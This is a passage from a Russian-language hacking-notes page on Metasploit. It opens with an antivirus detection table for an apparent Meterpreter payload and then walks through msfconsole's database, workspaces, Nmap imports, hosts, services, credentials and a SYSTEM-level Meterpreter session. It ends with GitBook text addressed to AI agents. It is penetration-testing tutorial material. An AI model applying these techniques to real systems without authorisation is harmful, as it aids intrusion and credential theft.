 Comodo                true      34592                                                           TrojWare.Win32.Rozena.A@4jwdqr                             20220505
 CrowdStrike           true      1.0                                                             win/malicious_confidence_100% (D)                          20220418
 Cylance               true      2.3.1.101                                                       Небезопасно                                                20220505
 Cynet                 true      4.0.0.27                                                        Вредоносный (оценка: 100)                                   20220505
 Cyren                 true      6.5.1.2                                                         W32/Swrort.A.gen!Eldorado                                  20220505
 DrWeb                 true      7.0.56.4040                                                     Trojan.Swrort.1                                            20220505
 ESET-NOD32            true      25218                                                           вариант Win32/Rozena.AA                                   20220505
 Elastic               true      4.0.36                                                          вредоносный (высокая уверенность)                           20220503
 Emsisoft              true      2021.5.0.7597                                                   Trojan.CryptZ.Gen (B)                                      20220505
 F-Secure              false     18.10.978-beta,1651672875v,1651675347h,1651717942c,1650632236t                                                             20220505
 FireEye               true      35.24.1.0                                                       Generic.mg.4f54cc46e2f55be1                                20220505
 Fortinet              true      6.2.142.0                                                       MalwThreat!0971IV                                          20220505
 GData                 true      A:25.32960B:27.27244                                            Trojan.CryptZ.Gen                                          20220505
 Gridinsoft            true      1.0.77.174                                                      Trojan.Win32.Swrort.zv!s2                                  20220505
 Ikarus                true      6.0.24.0                                                        Trojan.Win32.Swrort                                        20220505
 Jiangmin              false     16.0.100                                                                                                                   20220504
 K7AntiVirus           true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 K7GW                  true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 Kaspersky             true      21.0.1.45                                                       HEUR:Trojan.Win32.Generic                                  20220505
 Kingsoft              false     2017.9.26.565                                                                                                              20220505
 Lionic                false     7.5                                                                                                                        20220505
 MAX                   true      2019.9.16.1                                                     вредоносное ПО (оценка ИИ=89)                               20220505
 Malwarebytes          true      4.2.2.27                                                        Trojan.Rozena                                              20220505
 MaxSecure             true      1.0.0.1                                                         Trojan.Malware.300983.susgen                               20220505
 McAfee                true      6.0.6.653                                                       Swrort.i                                                   20220505
 McAfee-GW-Edition     true      v2019.1.2+3728                                                  BehavesLike.Win32.Swrort.lh                                20220505
 MicroWorld-eScan      true      14.0.409.0                                                      Trojan.CryptZ.Gen                                          20220505
 Microsoft             true      1.1.19200.5                                                     Trojan:Win32/Meterpreter.A                                 20220505
 NANO-Antivirus        true      1.0.146.25588                                                   Virus.Win32.Gen-Crypt.ccnc                                 20220505
 Paloalto              false     0.9.0.1003                                                                                                                 20220505
 Panda                 false     4.6.4.2                                                                                                                    20220504
 Rising                true      25.0.0.27                                                       Trojan.Generic@AI.100 (RDMK:cmRtazqDtX58xtB5RYP2bMLR5Bv1)  20220505
 SUPERAntiSpyware      true      5.6.0.1032                                                      Trojan.Backdoor-Shell                                      20220430
 Sangfor               true      2.14.0.0                                                        Trojan.Win32.Save.a                                        20220415
 SentinelOne           true      22.2.1.2                                                        Статический ИИ - вредоносный PE                             20220330
 Sophos                true      1.4.1.0                                                         ML/PE-A + Mal/EncPk-ACE                                    20220505
 Symantec              true      1.17.0.0                                                        Packed.Generic.347                                         20220505
 TACHYON               false     2022-05-05.02                                                                                                              20220505
 Tencent               true      1.0.0.1                                                         Trojan.Win32.Cryptz.za                                     20220505
 TrendMicro            true      11.0.0.1006                                                     BKDR_SWRORT.SM                                             20220505
 TrendMicro-HouseCall  true      10.0.0.1040                                                     BKDR_SWRORT.SM                                             20220505
 VBA32                 false     5.0.0                                                                                                                      20220505
 ViRobot               true      2014.3.20.0                                                     Trojan.Win32.Elzob.Gen                                     20220504
 VirIT                 false     9.5.188                                                                                                                    20220504
 Webroot               false     1.0.0.403                                                                                                                  20220505
 Yandex                true      5.5.2.24                                                        Trojan.Rosena.Gen.1                                        20220428
 Zillya                false     2.0.0.4625                                                                                                                 20220505
 ZoneAlarm             true      1.0                                                             HEUR:Trojan.Win32.Generic                                  20220505
 Zoner                 false     2.2.2.0                                                                                                                    20220504
 tehtris               false     v0.1.2                                                                                                                     20220505
```

## Базы данных:

{% hint style="info" %}
`Базы данных`являются `msfconsole`используются для отслеживания ваших результатов. Неудивительно, что при оценке еще более сложных машин, не говоря уже о целых сетях, все может стать немного неясным и сложным из-за огромного количества результатов поиска, точек входа, обнаруженных проблем, найденных учетных данных и т. д. Вот тут-то и приходят на помощь базы данных. `msfconsole` имеет встроенную поддержку системы баз данных PostgreSQL. С ее помощью мы получаем прямой, быстрый и удобный доступ к результатам анализа, а также возможность импортировать и экспортировать результаты в сочетании со сторонними инструментами. Записи базы данных также можно использовать для прямой настройки параметров модуля Exploit с уже имеющимися результатами.
{% endhint %}

### Настройка базы данных

Сначала нужно убедиться, что сервер PostgreSQL запущен и работает на нашей хост-машине. Для этого введите следующую команду:

**Статус PostgreSQL**

```bash
sudo service postgresql status
```

**Запустить PostgreSQL**

```bash
sudo systemctl start postgresql
```

**Запустить базу данных**

```bash
sudo msfdb init
```

**Подключение к базе данных инициировано**

```bash
sudo msfdb run
```

{% hint style="warning" %}
Если же база данных уже настроена и мы не можем изменить пароль для имени пользователя MSF, выполните следующие команды:
{% endhint %}

**Сброс базы данных**

```bash
msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart
msfconsole -q
```

### Использование базы данных

```bash
help database

Команды бэкенда базы данных
=========================

    Команда           Описание
    -------           -----------
    db_connect        Подключиться к существующей базе данных
    db_disconnect     Отключиться от текущего экземпляра базы данных
    db_export         Экспортировать файл, содержащий содержимое базы данных
    db_import         Импортировать файл с результатом сканирования (тип файла будет определен автоматически)
    db_nmap           Выполняет nmap и автоматически записывает вывод
    db_rebuild_cache  Перестраивает кэш модулей, сохраненный в базе данных
    db_status         Показать текущий статус базы данных
    hosts             Список всех хостов в базе данных
    loot              Список всей добычи в базе данных
    notes             Список всех заметок в базе данных
    services          Список всех служб в базе данных
    vulns             Список всех уязвимостей в базе данных
    workspace         Переключаться между рабочими пространствами базы данных
```

После того как мы убедимся, что база данных корректно подключена, мы можем организовать наши `рабочие пространства`

#### Рабочие пространства:

Мы можем рассматривать `рабочие пространства`их так же, как мы рассматриваем файлы проекта. Мы можем разделять различные результаты сканирования, хосты и извлеченную информацию по IP, подсети, сети или домену.

```bash
workspace -a Target_1

[*] Добавлено рабочее пространство: Target_1
[*] Рабочее пространство: Target_1

msf6 > workspace Target_1

[*] Рабочее пространство: Target_1

msf6 > workspace

  по умолчанию
* Target_1
```

### Импорт результатов сканирования

Далее предположим, что мы хотим импортировать `сканирование Nmap`файл с хоста в наше рабочее пространство базы данных, чтобы лучше понять цель

```bash
msf6 > db_import Target.xml

[*] Импорт данных 'Nmap XML'
[*] Импорт: разбор с 'Nokogiri v1.10.9'
[*] Импортируется хост 10.10.10.40
[*] Успешно импортирован ~/Target.xml

msf6 > hosts

Хосты
=====

адрес      mac  имя  os_name  os_flavor  os_sp  назначение  информация  комментарии
-------      ---  ----  -------  ---------  -----  -------  ----  --------
10.10.10.40             Unknown                    устройство

msf6 > services

Службы
========

хост         порт   протокол  имя          состояние  информация
----         ----   -----  ----          -----  ----
10.10.10.40  135    tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  139    tcp    netbios-ssn   open   Microsoft Windows netbios-ssn
10.10.10.40  445    tcp    microsoft-ds  open   Microsoft Windows 7 - 10 microsoft-ds workgroup: WORKGROUP
10.10.10.40  49152  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49153  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49154  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49155  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49156  tcp    msrpc         open   Microsoft Windows RPC
10.10.10.40  49157  tcp    msrpc         open   Microsoft Windows RPC
```

### Использование Nmap внутри MSFconsole

В качестве альтернативы мы можем использовать Nmap напрямую из msfconsole! Чтобы выполнять сканирование прямо из консоли, не переводя его в фоновый режим и не выходя из процесса, используйте команду `db_nmap`.

```bash
db_nmap -sV -sS 10.10.10.8

[*] Nmap: Запуск Nmap 7.80 ( https://nmap.org ) в 2020-08-17 21:04 UTC
[*] Nmap: Отчет Nmap о сканировании для 10.10.10.8
[*] Nmap: Хост доступен (задержка 0.016с).
[*] Nmap: Не показано: 999 отфильтрованных портов
[*] Nmap: ПОРТ   СОСТОЯНИЕ СЛУЖБА ВЕРСИЯ
[*] Nmap: 80/TCP open  http    HttpFileServer httpd 2.3
[*] Nmap: Информация о службе: ОС: Windows; CPE: cpe:/o:microsoft:windows
```

### Резервное копирование данных

После окончания сеанса обязательно создайте резервную копию ваших данных на случай проблем со службой PostgreSQL. Для этого используйте `db_export`.

```bash
db_export -h

Использование:
    db_export -f <format> [filename]
    Формат может быть одним из: xml, pwdump
```

#### Хосты:

Хосты также можно добавлять вручную как отдельные записи в эту таблицу. После добавления наших собственных хостов мы также можем организовать формат и структуру таблицы, добавлять комментарии, редактировать существующую информацию и многое другое.

```bash
hosts -h

Использование: hosts [ options ] [addr1 addr2 ...]

ОПЦИИ:
  -a,--add          Добавить хосты вместо поиска
  -d,--delete       Удалить хосты вместо поиска
  -c <col1,col2>    Показать только указанные столбцы (см. список ниже)
  -C <col1,col2>    Показать только указанные столбцы до следующего перезапуска (см. список ниже)
  -h,--help         Показать эту справочную информацию
  -u,--up           Показать только хосты, которые доступны
  -o <file>         Отправить вывод в файл в формате CSV
  -O <column>       Упорядочить строки по указанному номеру столбца
  -R,--rhosts       Установить RHOSTS на основе результатов поиска
  -S,--search       Строка поиска для фильтрации
  -i,--info         Изменить информацию о хосте
  -n,--name         Изменить имя хоста
  -m,--comment      Изменить комментарий хоста
  -t,--tag          Добавить или указать тег для диапазона хостов
```

#### Службы `services`команда работает так же, как и предыдущая. Она содержит таблицу с описаниями и информацией о службах, обнаруженных во время сканирования или взаимодействия. Подобно приведенной выше команде, записи здесь легко настраиваются.

```bash
services -h

Использование: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]

  -a,--add          Добавить службы вместо поиска
  -d,--delete       Удалить службы вместо поиска
  -c <col1,col2>    Показать только указанные столбцы
  -h,--help         Показать эту справочную информацию
  -s <name>         Имя службы, которую нужно добавить
  -p <port>         Искать список портов
  -r <protocol>     Тип протокола добавляемой службы [tcp|udp]
  -u,--up           Показать только работающие службы
  -o <file>         Отправить вывод в файл в формате csv
  -O <column>       Упорядочить строки по указанному номеру столбца
  -R,--rhosts       Установить RHOSTS на основе результатов поиска
  -S,--search       Строка поиска для фильтрации
  -U,--update       Обновить данные существующей службы
```

#### Учетные данные

У `creds`команда позволяет просматривать учетные данные, собранные во время взаимодействия с целевым хостом. Мы также можем добавлять учетные данные вручную, сопоставлять существующие учетные данные со спецификациями портов, добавлять описания и т. д.

## Сеансы:

### Сеансы

> MSFconsole может одновременно управлять несколькими модулями. Это одна из многих причин, по которым она предоставляет пользователю такую гибкость. Это делается с помощью `Сеансы`, которые создают выделенные интерфейсы управления для всех развернутых вами модулей.
>
> После создания нескольких сеансов мы можем переключаться между ними и привязывать другой модуль к одному из фоновых сеансов, чтобы запустить его или превратить их в задачи. Обратите внимание, что как только сеанс помещается в фон, он продолжает работать, а наше соединение с целевым хостом сохраняется. Однако сеансы могут завершиться, если во время выполнения полезной нагрузки что-то пойдет не так, из-за чего канал связи разорвется.

**Список активных сеансов**

Мы можем использовать `sessions`команду, чтобы просмотреть наши текущие активные сеансы.

```bash
msf6 exploit(windows/smb/psexec_psh) > sessions

Активные сеансы
===============

  Id  Name  Type                     Information                 Connection
  --  ----  ----                     -----------                 ----------
  1         meterpreter x86/windows  NT AUTHORITY/SYSTEM @ MS01  10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)
```

**Взаимодействие с сеансом**

Вы можете использовать `sessions -i [no.]`команду, чтобы открыть определенный сеанс.

```shell-session
msf6 exploit(windows/smb/psexec_psh) > sessions -i 1
[*] Начинаю взаимодействие с 1...

meterpreter >
```

### Все заметки

<table><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pages/faf7ce593d0a6998f62d59980225954738038f70">/pages/faf7ce593d0a6998f62d59980225954738038f70</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/hacking-tools/exploitation/metasploit.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
